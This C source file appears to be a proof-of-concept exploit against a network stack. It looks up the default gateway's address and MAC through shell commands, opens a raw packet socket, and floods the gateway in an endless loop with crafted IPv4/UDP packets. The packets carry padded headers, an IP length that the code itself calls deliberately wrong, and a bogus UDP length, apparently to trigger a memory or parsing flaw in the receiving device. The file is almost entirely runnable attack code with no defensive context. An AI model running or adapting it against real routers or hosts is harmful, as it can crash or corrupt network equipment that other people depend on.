#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include struct in_addr src_addr; struct in_addr dst_addr; char *dst_addr_str; unsigned int ifindex; char *interface; unsigned char target_mac[6]; int packet_socket; uint16_t ip_checksum(char *buf, int len) { int count = len; uint32_t res = 0; while (count > 1) { res += *(uint16_t*)buf; buf += 2; count -= 2; } if (count > 0) res += *(uint8_t*)buf; while (res >> 16) res = (res & 0xffff) + (res >> 16); return ~res; } void parse_mac(unsigned char *bin_mac, const char *buf) { if (sscanf(buf, "%hhx:%hhx:%hhx:%hhx:%hhx:%hhx", bin_mac+0, bin_mac+1, bin_mac+2, bin_mac+3, bin_mac+4, bin_mac+5) != 6) errx(1, "unable to parse MAC"); } void ip_hdr_defaults(struct ip *ip_hdr) { ip_hdr->ip_hl = 5; ip_hdr->ip_v = 4; ip_hdr->ip_tos = 0; ip_hdr->ip_id = 0; ip_hdr->ip_off = 0; ip_hdr->ip_ttl = 100; ip_hdr->ip_sum = 0; ip_hdr->ip_src = src_addr; ip_hdr->ip_dst = dst_addr; } char *systemf(const char *command, ...) { char *full_command; va_list ap; va_start(ap, command); if (vasprintf(&full_command, command, ap) == -1) err(1, "vasprintf"); va_end(ap); printf("systemf: <<<%s>>>\n", full_command); FILE *child_stream = popen(full_command, "r"); char *result = NULL; size_t result_size = 0; errno = 0; if (getdelim(&result, &result_size, '\0', child_stream) == -1 && errno != 0) errx(1, "getdelim reported error"); if (pclose(child_stream)) errx(1, "pclose reported error"); if (result) { puts(result); puts("================================"); } free(full_command); return result ? result : strdup(""); } #define round_up(n,b) ( ((n)+((b)-1)) / (b) * (b) ) void send_packet(char *packet, size_t len) { struct sockaddr_ll dest_addr = { .sll_family = AF_PACKET, .sll_protocol = htons(ETH_P_IP), .sll_ifindex = ifindex, .sll_hatype = ARPHRD_ETHER, .sll_pkttype = 0, /* only used for receiving */ .sll_halen = 6 }; memcpy(&dest_addr.sll_addr, target_mac, 6); if (sendto(packet_socket, packet, len, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != len) err(1, "unable to send packet"); } #define SEND_PACKET(packet) send_packet((packet), sizeof(packet)) void send_udp_datashift(int shift_amount, int data_length) { printf("send_udp_datashift(shift_amount=%d, data_length=%d)\n", shift_amount, data_length); assert((shift_amount & 3) == 0); int ip_header_size = sizeof(struct ip) + shift_amount; assert((ip_header_size >> 2) <= 0xf); char packet[sizeof(struct ip) + shift_amount + sizeof(struct udphdr) + 1]; struct ip *ip_hdr = (void*)packet; ip_hdr_defaults(ip_hdr); ip_hdr->ip_len = htons(sizeof(packet) + data_length); /* deliberately incorrect */ ip_hdr->ip_p = IPPROTO_UDP; ip_hdr->ip_hl = (ip_header_size>>2); memset(packet + sizeof(struct ip), '\0', shift_amount); ip_hdr->ip_sum = ip_checksum((char*)ip_hdr, sizeof(*ip_hdr) + shift_amount); struct udphdr *uh = (void*)(packet + sizeof(struct ip) + shift_amount); uh->source = htons(1); uh->dest = htons(1); uh->len = 50000; /* bogus; will cause packet drop after move */ uh->check = 0; packet[sizeof(struct ip) + shift_amount + sizeof(struct udphdr)] = '#'; SEND_PACKET(packet); } int main(int argc, char **argv) { setbuf(stdout, NULL); // figure out interface, IPs, MAC address interface = systemf("ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* dev \\([^ ]*\\) .*|\\1|' | tr -d '\\n'"); if (inet_pton(AF_INET, systemf("ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* src \\([^ ]*\\) .*|\\1|' | tr -d '\\n'"), &src_addr) != 1) err(1, "unable to convert source IP"); dst_addr_str = systemf("ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* via \\([^ ]*\\) .*|\\1|' | tr -d '\\n'"); if (inet_pton(AF_INET, dst_addr_str, &dst_addr) != 1) err(1, "unable to convert dest IP"); systemf("ping -c3 -w4 %s", dst_addr_str); parse_mac(target_mac, systemf("ip link show %s | grep link/ether | sed 's|.*link/ether \\([^ ]*\\) .*|\\1|' | tr -d '\n'", interface)); ifindex = if_nametoindex(interface); if (ifindex == 0) errx(1, "unable to resolve interface name"); packet_socket = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_IP)); if (packet_socket == -1) err(1, "socket"); while (1) { send_udp_datashift(4, 40000); } return 0; }